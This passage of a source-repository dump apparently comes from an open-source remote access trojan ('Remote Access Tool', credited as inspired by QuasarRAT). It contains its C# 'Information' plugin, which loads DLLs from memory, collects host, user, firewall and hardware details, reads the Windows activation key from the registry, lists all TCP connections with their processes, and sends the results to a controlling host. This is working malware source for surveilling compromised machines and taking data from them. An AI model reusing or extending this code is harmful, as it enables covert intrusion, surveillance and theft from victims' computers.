PtrAdd(IntPtr p, UIntPtr v) { return (IntPtr.Size == 8 ? (IntPtr)(p.ToInt64() + unchecked((long)v.ToUInt64())) : (IntPtr)(p.ToInt32() + unchecked((int)v.ToUInt32()))); }\n    static IntPtr PtrSub(IntPtr p, IntPtr v) { return (IntPtr.Size == 8 ? (IntPtr)(p.ToInt64() - v.ToInt64()) : (IntPtr)(p.ToInt32() - v.ToInt32())); }\n    static IntPtr PtrBitOr(IntPtr p, UIntPtr v) { return (IntPtr.Size == 8 ? (IntPtr)unchecked((long)(unchecked((ulong)p.ToInt64()) | v.ToUInt64())) : (IntPtr)unchecked((int)(unchecked((uint)p.ToInt32()) | v.ToUInt32()))); }\n    static IntPtr PtrAlignDown(IntPtr p, UIntPtr align) { return (IntPtr)unchecked((long)(unchecked((ulong)p.ToInt64()) & ~(align.ToUInt64() - 1))); }\n    static bool PtrIsInvalidHandle(IntPtr h) { return (h == IntPtr.Zero || h == (IntPtr.Size == 8 ? (IntPtr)(long)-1 : (IntPtr)(int)-1)); }\n    static bool PtrSpanBoundary(IntPtr p, uint Size, int BoundaryBits) { return ((unchecked((ulong)p.ToInt64()) >> BoundaryBits) < ((unchecked((ulong)(p.ToInt64())) + Size) >> BoundaryBits)); }\n\n    static T BytesReadStructAt<T>(byte[] buf, int offset)\n    {\n        int size = Marshal.SizeOf(typeof(T));\n        IntPtr ptr = Marshal.AllocHGlobal(size);\n        Marshal.Copy(buf, offset, ptr, size);\n        T res = (T)Marshal.PtrToStructure(ptr, typeof(T));\n        Marshal.FreeHGlobal(ptr);\n        return res;\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Information/FodyWeavers.xml",
    "content": "﻿<Weavers xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:noNamespaceSchemaLocation=\"FodyWeavers.xsd\">\n  <Costura />\n</Weavers>"
  },
  {
    "path": "Remote Access Tool/Plugins/Information/FodyWeavers.xsd",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<xs:schema xmlns:xs=\"http://www.w3.org/2001/XMLSchema\">\n  <!-- This file was generated by Fody. Manual changes to this file will be lost when your project is rebuilt. -->\n  <xs:element name=\"Weavers\">\n    <xs:complexType>\n      <xs:all>\n        <xs:element name=\"Costura\" minOccurs=\"0\" maxOccurs=\"1\">\n          <xs:complexType>\n            <xs:all>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"ExcludeAssemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with line breaks</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"IncludeAssemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"Unmanaged32Assemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"Unmanaged64Assemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"PreloadOrder\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n            </xs:all>\n            <xs:attribute name=\"CreateTemporaryAssemblies\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IncludeDebugSymbols\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"DisableCompression\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"DisableCleanup\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"LoadAtModuleInit\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IgnoreSatelliteAssemblies\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"ExcludeAssemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with |</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IncludeAssemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"Unmanaged32Assemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"Unmanaged64Assemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"PreloadOrder\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n          </xs:complexType>\n        </xs:element>\n      </xs:all>\n      <xs:attribute name=\"VerifyAssembly\" type=\"xs:boolean\">\n        <xs:annotation>\n          <xs:documentation>'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n      <xs:attribute name=\"VerifyIgnoreCodes\" type=\"xs:string\">\n        <xs:annotation>\n          <xs:documentation>A comma-separated list of error codes that can be safely ignored in assembly verification.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n      <xs:attribute name=\"GenerateXsd\" type=\"xs:boolean\">\n        <xs:annotation>\n          <xs:documentation>'false' to turn off automatic generation of the XML Schema file.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n    </xs:complexType>\n  </xs:element>\n</xs:schema>"
  },
  {
    "path": "Remote Access Tool/Plugins/Information/HardwareInformation.cs",
    "content": "﻿using Plugin.Properties;\nusing System;\nusing System.Runtime.InteropServices;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal class HardwareInformation\n    {\n\n        internal delegate IntPtr CPU();\n        internal static string CPUInformation() \n        {\n            DLLFromMemory cpuInfo;\n            if(IntPtr.Size == 4)\n                cpuInfo = new DLLFromMemory(Resources.CPU);\n            else\n                cpuInfo = new DLLFromMemory(Resources.CPU64);\n\n            CPU C = (CPU)cpuInfo.GetDelegateFromFuncName(\"CpuInformation\", typeof(CPU));\n            return Marshal.PtrToStringUni(C());\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Information/Helpers.cs",
    "content": "﻿using System;\nusing System.Management;\nusing System.Net;\nusing System.Security.Principal;\nusing static PacketLib.Packet.SystemInformation;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n|| Inspiration : QuasarRAT  ||\n*/\n\nnamespace Plugin\n{\n    internal static class Helpers\n    {\n        internal static string RemoveLastChars(string input, int amount = 2)\n        {\n            if (input.Length > amount)\n                input = input.Remove(input.Length - amount);\n            return input;\n        }\n        #region \"Network\"\n        internal static string GetIpAddress(long ipAddrs)\n        {\n            string text;\n            try\n            {\n                text = new IPAddress(ipAddrs).ToString();\n            }\n            catch\n            {\n                text = ipAddrs.ToString();\n            }\n            return text;\n        }\n\n        internal static ushort GetTcpPort(int tcpPort)\n        {\n            return Imports.ntohs((ushort)tcpPort);\n        }\n        #endregion\n        #region \"Hardware\"\n        internal static string GetWMIInformation(string askedInfo, string query = \"SELECT * FROM Win32_OperatingSystem\")\n        {\n            try\n            {\n                string information = string.Empty;\n                using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))\n                {\n                    foreach (ManagementObject mObject in searcher.Get())\n                    {\n                        information = mObject[askedInfo].ToString();\n                        break;\n                    }\n                }\n                return (!string.IsNullOrEmpty(information)) ? information : \"N/A\";\n            }\n            catch\n            { }\n            return \"Unknown\";\n        }\n\n        internal static string GetResolution()\n        {\n            return GetWMIInformation(\"CurrentHorizontalResolution\", \"SELECT * FROM Win32_VideoController\") + \" x \" + GetWMIInformation(\"CurrentVerticalResolution\", \"SELECT * FROM Win32_VideoController\");\n        }\n\n        internal static string GetGpuName()\n        {\n            try\n            {\n                string gpuName = string.Empty;\n                string query = \"SELECT * FROM Win32_DisplayConfiguration\";\n\n                using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))\n                {\n                    foreach (ManagementObject mObject in searcher.Get())\n                    {\n                        gpuName += mObject[\"Description\"].ToString() + \"; \";\n                    }\n                }\n                gpuName = RemoveLastChars(gpuName);\n\n                return (!string.IsNullOrEmpty(gpuName)) ? gpuName : \"N/A\";\n            }\n            catch\n            {\n                return \"Unknown\";\n            }\n        }\n\n\n        internal static string GetDebug()\n        {\n            try\n            {\n                string debugged = string.Empty;\n                string query = \"SELECT * FROM Win32_OperatingSystem\";\n\n                using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))\n                {\n                    foreach (ManagementObject mObject in searcher.Get())\n                    {\n                        debugged += mObject[\"Debug\"].ToString() + \"; \";\n                    }\n                }\n                debugged = RemoveLastChars(debugged);\n\n                return (!string.IsNullOrEmpty(debugged)) ? debugged : \"N/A\";\n            }\n            catch\n            {\n                return \"Unknown\";\n            }\n        }\n\n        internal static string GetBiosDescription()\n        {\n            try\n            {\n                string biosIdentifier = string.Empty;\n                string query = \"SELECT * FROM Win32_BIOS\";\n\n                using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))\n                {\n                    foreach (ManagementObject mObject in searcher.Get())\n                    {\n                        biosIdentifier = mObject[\"Description\"].ToString();\n                        break;\n                    }\n                }\n\n                return (!string.IsNullOrEmpty(biosIdentifier)) ? biosIdentifier : \"N/A\";\n            }\n            catch\n            {\n            }\n\n            return \"Unknown\";\n        }\n\n        internal static string GetOsType()\n        {\n            try\n            {\n                string osType = string.Empty;\n                string query = \"SELECT * FROM Win32_OperatingSystem\";\n\n                using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))\n                {\n                    foreach (ManagementObject mObject in searcher.Get())\n                    {\n                        osType = mObject[\"OSType\"].ToString();\n                        osType = ((WMIHelpers.OSType)int.Parse(osType)).ToString();\n                        break;\n                    }\n                }\n\n                return (!string.IsNullOrEmpty(osType)) ? osType : \"N/A\";\n            }\n            catch\n            {\n            }\n            return \"Unknown\";\n        }\n\n        internal static string GetMainboardName()\n        {\n            try\n            {\n                string mainboardIdentifier = string.Empty;\n                string query = \"SELECT * FROM Win32_BaseBoard\";\n\n                using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))\n                {\n                    foreach (ManagementObject mObject in searcher.Get())\n                    {\n                        mainboardIdentifier = mObject[\"Manufacturer\"].ToString() + \" \" + mObject[\"Product\"].ToString();\n                        break;\n                    }\n                }\n\n                return (!string.IsNullOrEmpty(mainboardIdentifier)) ? mainboardIdentifier : \"N/A\";\n            }\n            catch\n            {\n            }\n\n            return \"Unknown\";\n        }\n\n        internal static string GetUserName()\n        {\n            return Environment.UserName;\n        }\n\n        internal static string GetPcName()\n        {\n            return Environment.MachineName;\n        }\n\n        internal static AccountType GetUserType()\n        {\n            using (WindowsIdentity identity = WindowsIdentity.GetCurrent())\n            {\n                WindowsPrincipal principal = new WindowsPrincipal(identity);\n\n                if (principal.IsInRole(WindowsBuiltInRole.Administrator))\n                {\n                    return AccountType.Admin;\n                }\n                else if (principal.IsInRole(WindowsBuiltInRole.User))\n                {\n                    return AccountType.User;\n                }\n                else if (principal.IsInRole(WindowsBuiltInRole.Guest))\n                {\n                    return AccountType.Guest;\n                }\n                else\n                {\n                    return AccountType.Unknown;\n                }\n            }\n        }\n\n        internal static string GetFirewall()\n        {\n            try\n            {\n                string firewallName = string.Empty;\n                string scope = \"root\\\\SecurityCenter2\";\n                string query = \"SELECT * FROM FirewallProduct\";\n\n                using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query))\n                {\n                    foreach (ManagementObject mObject in searcher.Get())\n                    {\n                        firewallName += mObject[\"displayName\"].ToString() + \"; \";\n                    }\n                }\n                firewallName = RemoveLastChars(firewallName);\n\n                return (!string.IsNullOrEmpty(firewallName)) ? firewallName : \"N/A\";\n            }\n            catch\n            {\n                return \"Unknown\";\n            }\n        }\n        #endregion\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Information/Imports.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal class Imports\n    {\n        #region \"Structures\"\n        internal struct MIB_TCPROW_OWNER_PID\n        {\n            public ushort LocalPort\n            {\n                get\n                {\n                    return BitConverter.ToUInt16(new byte[] { this.localPort2, this.localPort1 }, 0);\n                }\n            }\n            public ushort RemotePort\n            {\n                get\n                {\n                    return BitConverter.ToUInt16(new byte[] { this.remotePort2, this.remotePort1 }, 0);\n                }\n            }\n\n            public uint state;\n            public uint localAddr;\n            public byte localPort1;\n            public byte localPort2;\n            public byte localPort3;\n            public byte localPort4;\n            public uint remoteAddr;\n            public byte remotePort1;\n            public byte remotePort2;\n            public byte remotePort3;\n            public byte remotePort4;\n            public int owningPid;\n        }\n\n        internal struct MIB_TCPTABLE_OWNER_PID\n        {\n            internal uint dwNumEntries;\n\n            internal MIB_TCPROW_OWNER_PID table;\n        }\n        #endregion\n        #region \"Enums\"\n\n        public enum TCP_TABLE_TYPE\n        {\n            TCP_TABLE_BASIC_LISTENER,\n            TCP_TABLE_BASIC_CONNECTIONS,\n            TCP_TABLE_BASIC_ALL,\n            TCP_TABLE_OWNER_PID_LISTENER,\n            TCP_TABLE_OWNER_PID_CONNECTIONS,\n            TCP_TABLE_OWNER_PID_ALL,\n            TCP_TABLE_OWNER_MODULE_LISTENER,\n            TCP_TABLE_OWNER_MODULE_CONNECTIONS,\n            TCP_TABLE_OWNER_MODULE_ALL\n        }\n        #endregion\n        #region \"Functions\"\n        [DllImport(\"Ws2_32.dll\")]\n        internal static extern ushort ntohs(ushort netshort);\n\n        [DllImport(\"iphlpapi.dll\", SetLastError = true)]\n        internal static extern uint GetExtendedTcpTable(IntPtr pTcpTable, ref int dwOutBufLen, bool sort, int ipVersion, TCP_TABLE_TYPE tblClass, int reserved);\n        #endregion\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Information/Information.csproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"15.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <Import Project=\"..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props\" Condition=\"Exists('..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props')\" />\n  <Import Project=\"..\\..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props\" Condition=\"Exists('..\\..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props')\" />\n  <Import Project=\"$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props\" Condition=\"Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')\" />\n  <PropertyGroup>\n    <Configuration Condition=\" '$(Configuration)' == '' \">Debug</Configuration>\n    <Platform Condition=\" '$(Platform)' == '' \">AnyCPU</Platform>\n    <ProjectGuid>{8AF7E48F-4AE9-46E3-8D94-ECB557E6A47B}</ProjectGuid>\n    <OutputType>Library</OutputType>\n    <AppDesignerFolder>Properties</AppDesignerFolder>\n    <RootNamespace>Plugin</RootNamespace>\n    <AssemblyName>Information</AssemblyName>\n    <TargetFrameworkVersion>v4.5</TargetFrameworkVersion>\n    <FileAlignment>512</FileAlignment>\n    <Deterministic>true</Deterministic>\n    <NuGetPackageImportStamp>\n    </NuGetPackageImportStamp>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\n    <DebugSymbols>false</DebugSymbols>\n    <DebugType>none</DebugType>\n    <Optimize>false</Optimize>\n    <OutputPath>..\\..\\bin\\Debug\\Plugins\\</OutputPath>\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' \">\n    <DebugType>none</DebugType>\n    <Optimize>true</Optimize>\n    <OutputPath>..\\..\\bin\\Release\\Plugins\\</OutputPath>\n    <AssemblyName>Information</AssemblyName>\n    <DefineConstants>TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)' == 'Debug|x64'\">\n    <OutputPath>bin\\x64\\Debug\\</OutputPath>\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\n    <PlatformTarget>x64</PlatformTarget>\n    <LangVersion>7.3</LangVersion>\n    <ErrorReport>prompt</ErrorReport>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)' == 'Release|x64'\">\n    <OutputPath>..\\..\\bin\\Release\\Plugins\\</OutputPath>\n    <AssemblyName>Information64</AssemblyName>\n    <DefineConstants>TRACE</DefineConstants>\n    <Optimize>true</Optimize>\n    <PlatformTarget>x64</PlatformTarget>\n    <LangVersion>7.3</LangVersion>\n    <ErrorReport>prompt</ErrorReport>\n  </PropertyGroup>\n  <ItemGroup>\n    <Reference Include=\"Costura, Version=4.1.0.0, Culture=neutral, PublicKeyToken=9919ef960d84173d, processorArchitecture=MSIL\">\n      <HintPath>..\\..\\packages\\Costura.Fody.4.1.0\\lib\\net40\\Costura.dll</HintPath>\n    </Reference>\n    <Reference Include=\"Newtonsoft.Json, Version=13.0.0.0, Culture=neutral, PublicKeyToken=30ad4fe6b2a6aeed, processorArchitecture=MSIL\">\n      <HintPath>..\\..\\..\\packages\\Newtonsoft.Json.13.0.1\\lib\\net45\\Newtonsoft.Json.dll</HintPath>\n    </Reference>\n    <Reference Include=\"System\" />\n    <Reference Include=\"System.Management\" />\n  </ItemGroup>\n  <ItemGroup>\n    <Compile Include=\"ActivationKey.cs\" />\n    <Compile Include=\"ClientHandler.cs\" />\n    <Compile Include=\"DLLFromMemory.cs\" />\n    <Compile Include=\"HardwareInformation.cs\" />\n    <Compile Include=\"Helpers.cs\" />\n    <Compile Include=\"Imports.cs\" />\n    <Compile Include=\"Launch.cs\" />\n    <Compile Include=\"NetworkInformation.cs\" />\n    <Compile Include=\"Properties\\AssemblyInfo.cs\" />\n    <Compile Include=\"Properties\\Resources.Designer.cs\">\n      <AutoGen>True</AutoGen>\n      <DesignTime>True</DesignTime>\n      <DependentUpon>Resources.resx</DependentUpon>\n    </Compile>\n    <Compile Include=\"WMIHelpers.cs\" />\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"packages.config\" />\n  </ItemGroup>\n  <ItemGroup>\n    <EmbeddedResource Include=\"Properties\\Resources.resx\">\n      <Generator>ResXFileCodeGenerator</Generator>\n      <LastGenOutput>Resources.Designer.cs</LastGenOutput>\n    </EmbeddedResource>\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"Resources\\CPU.dll\" />\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"Resources\\CPU64.dll\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ProjectReference Include=\"..\\..\\Utils\\PacketLib\\PacketLib.csproj\">\n      <Project>{81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff}</Project>\n      <Name>PacketLib</Name>\n    </ProjectReference>\n  </ItemGroup>\n  <Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\" />\n  <Import Project=\"..\\..\\packages\\Fody.6.0.0\\build\\Fody.targets\" Condition=\"Exists('..\\..\\packages\\Fody.6.0.0\\build\\Fody.targets')\" />\n  <Target Name=\"EnsureNuGetPackageBuildImports\" BeforeTargets=\"PrepareForBuild\">\n    <PropertyGroup>\n      <ErrorText>Ce projet fait référence à des packages NuGet qui sont manquants sur cet ordinateur. Utilisez l'option de restauration des packages NuGet pour les télécharger. Pour plus d'informations, consultez http://go.microsoft.com/fwlink/?LinkID=322105. Le fichier manquant est : {0}.</ErrorText>\n    </PropertyGroup>\n    <Error Condition=\"!Exists('..\\..\\packages\\Fody.6.0.0\\build\\Fody.targets')\" Text=\"$([System.String]::Format('$(ErrorText)', '..\\..\\packages\\Fody.6.0.0\\build\\Fody.targets'))\" />\n    <Error Condition=\"!Exists('..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props')\" Text=\"$([System.String]::Format('$(ErrorText)', '..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props'))\" />\n  </Target>\n</Project>"
  },
  {
    "path": "Remote Access Tool/Plugins/Information/Launch.cs",
    "content": "﻿using PacketLib;\nusing PacketLib.Packet;\nusing PacketLib.Utils;\nusing System.Collections.Generic;\nusing System.Threading;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    public static class Launch\n    {\n        internal static Dictionary<string, List<string>> cpuInformation;\n\n        static Launch() \n        {\n            cpuInformation = new Dictionary<string, List<string>>();\n        }\n\n        public static void Main(LoadingAPI loadingAPI)\n        {\n            switch (loadingAPI.CurrentPacket.PacketType)\n            {\n                case PacketType.MISC_INFORMATION:\n                    cpuInformation.Add(\"CPU\", new List<string>());\n                    string s = HardwareInformation.CPUInformation();\n                    cpuInformation[\"CPU\"].Add(s);\n                    InformationPacket informationPacket = new InformationPacket(cpuInformation, loadingAPI.BaseIp, loadingAPI.HWID);\n\n                    informationPacket.information.systemInformation.systemInformation = new Dictionary<string, string>\n                    {\n                        { \"PC name\", Helpers.GetPcName() },\n                        { \"Username\", Helpers.GetUserName() },\n                        { \"Registered user\", Helpers.GetWMIInformation(\"RegisteredUser\") },\n                        { \"Account type\", Helpers.GetUserType().ToString() },\n                        { \"Firewall\", Helpers.GetFirewall() },\n\n                        { \"System drive\", Helpers.GetWMIInformation(\"SystemDrive\") },\n                        { \"System path\", Helpers.GetWMIInformation(\"SystemDirectory\") },\n                        { \"OS architecture\", Helpers.GetWMIInformation(\"OSArchitecture\") },\n                        { \"System version\", Helpers.GetWMIInformation(\"Version\") },\n                        { \"OS type\", Helpers.GetOsType() },\n                        { \"OS manufacturer\", Helpers.GetWMIInformation(\"Manufacturer\") },\n                        { \"OS name\", Helpers.GetWMIInformation(\"Caption\") },\n                        { \"OS activation key\", ActivationKey.GetWindowsProductKeyFromRegistry() },\n                        { \"Debug\", Helpers.GetDebug() }\n                    };\n\n                    informationPacket.information.hardwareInformation.hardwareInformation = new Dictionary<string, string>\n                    {\n                        { \"GPU\", Helpers.GetGpuName() },\n                        { \"Resolution\", Helpers.GetResolution() },\n                        { \"Motherboard\", Helpers.GetMainboardName() },\n                        { \"Bios\", Helpers.GetBiosDescription() }\n                    };\n\n                    ClientSender(loadingAPI.Host, loadingAPI.Key, informationPacket);\n                    break;\n\n                case PacketType.MISC_NETWORK_INFORMATION:\n                    NetworkInformationPacket networkInformationPacket = new NetworkInformationPacket(NetworkInformation.AllTCPConnection(), loadingAPI.BaseIp, loadingAPI.HWID);\n                    ClientSender(loadingAPI.Host, loadingAPI.Key, networkInformationPacket);\n                    break;\n\n                default:\n                    return;\n            }\n            Miscellaneous.CleanMemory();\n        }\n\n        private static void ClientSender(Host host, string key, IPacket packet)\n        {\n            ClientHandler clientHandler = new ClientHandler(host, key);\n            clientHandler.ConnectStart();\n            while (!clientHandler.Connected)\n                Thread.Sleep(125);\n\n            clientHandler.SendPacket(packet);\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Information/NetworkInformation.cs",
    "content": "﻿using PacketLib.Packet;\nusing System;\nusing System.Collections.Generic;\nusing System.Diagnostics;\nusing System.Runtime.InteropServices;\nusing static Plugin.Imports;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal class NetworkInformation\n    {\n        private static MIB_TCPROW_OWNER_PID[] GetAllTcpConnections()\n        {\n            int num = 2;\n            int num2 = 0;\n            uint num3 = GetExtendedTcpTable(IntPtr.Zero, ref num2, true, num, TCP_TABLE_TYPE.TCP_TABLE_OWNER_PID_ALL, 0);\n            if (num3 != 0U && num3 != 122U)\n            {\n                throw new Exception(\"Error occurred when trying to query tcp table, return code: \" + num3.ToString());\n            }\n            IntPtr intPtr = Marshal.AllocHGlobal(num2);\n            MIB_TCPROW_OWNER_PID[] array;\n            try\n            {\n                num3 = GetExtendedTcpTable(intPtr, ref num2, true, num, TCP_TABLE_TYPE.TCP_TABLE_OWNER_PID_ALL, 0);\n                if (num3 != 0U)\n                {\n                    throw new Exception(\"Error occurred when trying to query tcp table, return code: \" + num3.ToString());\n                }\n                MIB_TCPTABLE_OWNER_PID mib_TCPTABLE_OWNER_PID = (MIB_TCPTABLE_OWNER_PID)Marshal.PtrToStructure(intPtr, typeof(MIB_TCPTABLE_OWNER_PID));\n                IntPtr intPtr2 = (IntPtr)((long)intPtr + (long)Marshal.SizeOf(mib_TCPTABLE_OWNER_PID.dwNumEntries));\n                array = new MIB_TCPROW_OWNER_PID[mib_TCPTABLE_OWNER_PID.dwNumEntries];\n                int num4 = 0;\n                while ((long)num4 < (long)((ulong)mib_TCPTABLE_OWNER_PID.dwNumEntries))\n                {\n                    MIB_TCPROW_OWNER_PID mib_TCPROW_OWNER_PID = (MIB_TCPROW_OWNER_PID)Marshal.PtrToStructure(intPtr2, typeof(MIB_TCPROW_OWNER_PID));\n                    array[num4] = mib_TCPROW_OWNER_PID;\n                    intPtr2 = (IntPtr)((long)intPtr2 + (long)Marshal.SizeOf(mib_TCPROW_OWNER_PID));\n                    num4++;\n                }\n            }\n            finally\n            {\n                Marshal.FreeHGlobal(intPtr);\n            }\n            return array;\n        }\n        public static List<TCPInformation> AllTCPConnection()\n        {\n            List<TCPInformation> ret = new List<TCPInformation>();\n            try\n            {\n\n                MIB_TCPROW_OWNER_PID[] allTcpConnections = GetAllTcpConnections();\n                int num = allTcpConnections.Length;\n                for (int i = 0; i < num; i++)\n                {\n                    MIB_TCPROW_OWNER_PID mib_TCPROW_OWNER_PID = allTcpConnections[i];\n                    string localEndPoint = string.Format(\"{0}:{1}\", Helpers.GetIpAddress((long)((ulong)mib_TCPROW_OWNER_PID.localAddr)), mib_TCPROW_OWNER_PID.LocalPort);\n                    string remoteEndPoint = string.Format(\"{0}:{1}\", Helpers.GetIpAddress((long)((ulong)mib_TCPROW_OWNER_PID.remoteAddr)), mib_TCPROW_OWNER_PID.RemotePort);\n\n                    ret.Add(new TCPInformation()\n                    {\n                        PID = mib_TCPROW_OWNER_PID.owningPid,\n                        LocalEndPoint = localEndPoint,\n                        RemoteEndPoint = remoteEndPoint,\n                        State = (TCPInformation.TCP_CONNECTION_STATE)mib_TCPROW_OWNER_PID.state,\n                        processName = Process.GetProcessById(mib_TCPROW_OWNER_PID.owningPid).ProcessName\n                    });\n                }\n            }\n            catch\n            {\n            }\n            return ret;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Information/Properties/AssemblyInfo.cs",
